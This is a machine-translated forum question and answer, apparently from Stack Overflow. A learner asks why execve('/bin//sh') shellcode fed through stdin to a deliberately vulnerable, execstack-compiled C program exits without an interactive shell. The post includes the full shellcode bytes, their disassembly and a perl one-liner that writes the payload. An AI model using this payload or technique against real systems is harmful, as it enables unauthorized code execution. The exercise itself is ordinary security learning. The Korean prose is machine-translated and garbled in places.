2017-10-18 11 views
0

저는 연구를했지만 내 기본적인 문제에 대한 답을 찾을 수 없다는 말로 머리말을 붙입니다.셸 코드가 쉘 코드에서 시작되었습니다. 시작시 즉시 중지합니다.

기본 프로그램을 통해 쉘 코드에서 쉘을 시작하려고합니다. 이 프로그램 표준 입력에서 읽을 때

char *shellcode = "\x31[...]x80"; 
int main(void) 
{ 
    (*(void(*)()) shellcode)(); 
    return 0; 
} 

하지만이 쉘 코드는과 같이 사용하고있다

0: 31 c0     xor eax, eax 
2: 50      push eax 
3: 68 2f 2f 73 68   push 0x68732f2f 
8: 68 2f 62 69 6e   push 0x6e69622f 
d: 89 e3     mov ebx, esp 
f: 50      push eax 
10: 53      push ebx 
11: 89 e1     mov ecx, esp 
13: b0 0b     mov al, 0xb 
15: 31 d2     xor edx, edx 
17: cd 80     int 0x80 

이상한 것은입니다 : 이 지금까지 작업을해야 사용되는 쉘 코드입니다 (다음 플래그로 컴파일 :

gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack): 

코드 :

#include [...] 
typedef void (*func)(void); 
int main(void) 
{ 
    char input[4096]; 
    read(0, input, 4096); 
    ((func)&input)(); 
    return 0; 
} 

두 번째 프로그램에서 발생하는 현상은 프로그램이 오류 코드없이 종료되고 셸이 생성되지 않는다는 것입니다.

strace를 두 번째 프로그램에서 쉘이 제대로 시작됩니다 저를 보여줍니다

read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26 
execve("/bin//sh", ["/bin//sh"], NULL) = 0 
strace: [ Process PID=3139 runs in 64 bit mode. ] 

하지만 난 아무것도하도록 요구하고 있지 않다 때문에 끝 부분이 라인은 매우 의심스러운 :

read(0, "", 8192)      = 0 

나는 스폰 된 쉘에 널 바이트를 보내고 죽이는 것처럼 보입니다. 내가 먼저하지만 나는 제대로 내 쉘 코드 파일을 설정 아니지만, 사람들은 내가 사용하는 명령입니다 :

perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin 
./vuln < payload.bin 

내가이 명령을 사용하여 시도했지만 같은 결과를 얻었다 :

perl -e 'print "[...]" | ./vuln 

I을 또한 파일 내부의 문자를 검사했지만 파일의 가중치는 25 oct입니다. 같은 크기의 쉘 코드에 대해서는 문제가되지 않아야합니다.

나는 올바른 방법으로 stdin에서 쉘 코드를 제공합니까? 아니면 다른 방법이 있습니까? 아니요 인 경우 문제는 어디에서 발생합니까?

감사

답변

0

문제는 두 번째 프로그램으로, 당신은 파이프에 표준 입력을 리디렉션 한 것입니다. 생성 된 쉘은 파이프에서 읽기를 시도하고 EOF를 가져 오므로 종료합니다.

셸 코드를 실행하기 전에 표준 입력을 터미널로 다시 보낼 수 있습니다.

#include [...] 
typedef void (*func)(void); 
int main(void) 
{ 
    char input[4096]; 
    read(0, input, 4096); 
    freopen("/dev/tty", "r", stdin); 
    ((func)&input)(); 
    return 0; 
} 
+0

두 번째 코드를 컴파일 할 때 사용한 플래그를 포함하는 것을 잊었습니다. 두 번째 코드를 링크 한 기사의 플래그와 동일합니다. 또한 두 번째 프로그램은 stdin에서 읽은 null char로 인해 쉘을 종료하기 전에 쉘을 실행하는 것처럼 보입니다. 따라서 잘못된 (실행 중지 된 ASLR)이 아니라면 실행 방지가 문제가되지 않습니다. – mat

+0

답변을 변경했습니다. – Barmar

+0

답변 해 주셔서 감사합니다! 하지만 난 문제가 : 프로그램에서 내가 껍질을 산란하고 운동을하고 "변경할 수 없습니다 : P 그래서 내가 이렇게 일을 stdin 리디렉션하는 뭔가를 시도했다 : cat payload | ./vuln.그러나,이 내 경우에는 작동하지 않습니다, 나는 또한 무슨 일인지보고 gdb/strace로 디버깅하는 방법을 모르겠다. 나는이 스레드 https://stackoverflow.com/q/1456253/8797854 주어진 솔루션을 시도했지만 여전히 동일한 문제가 발생합니다. 어떤 생각? – mat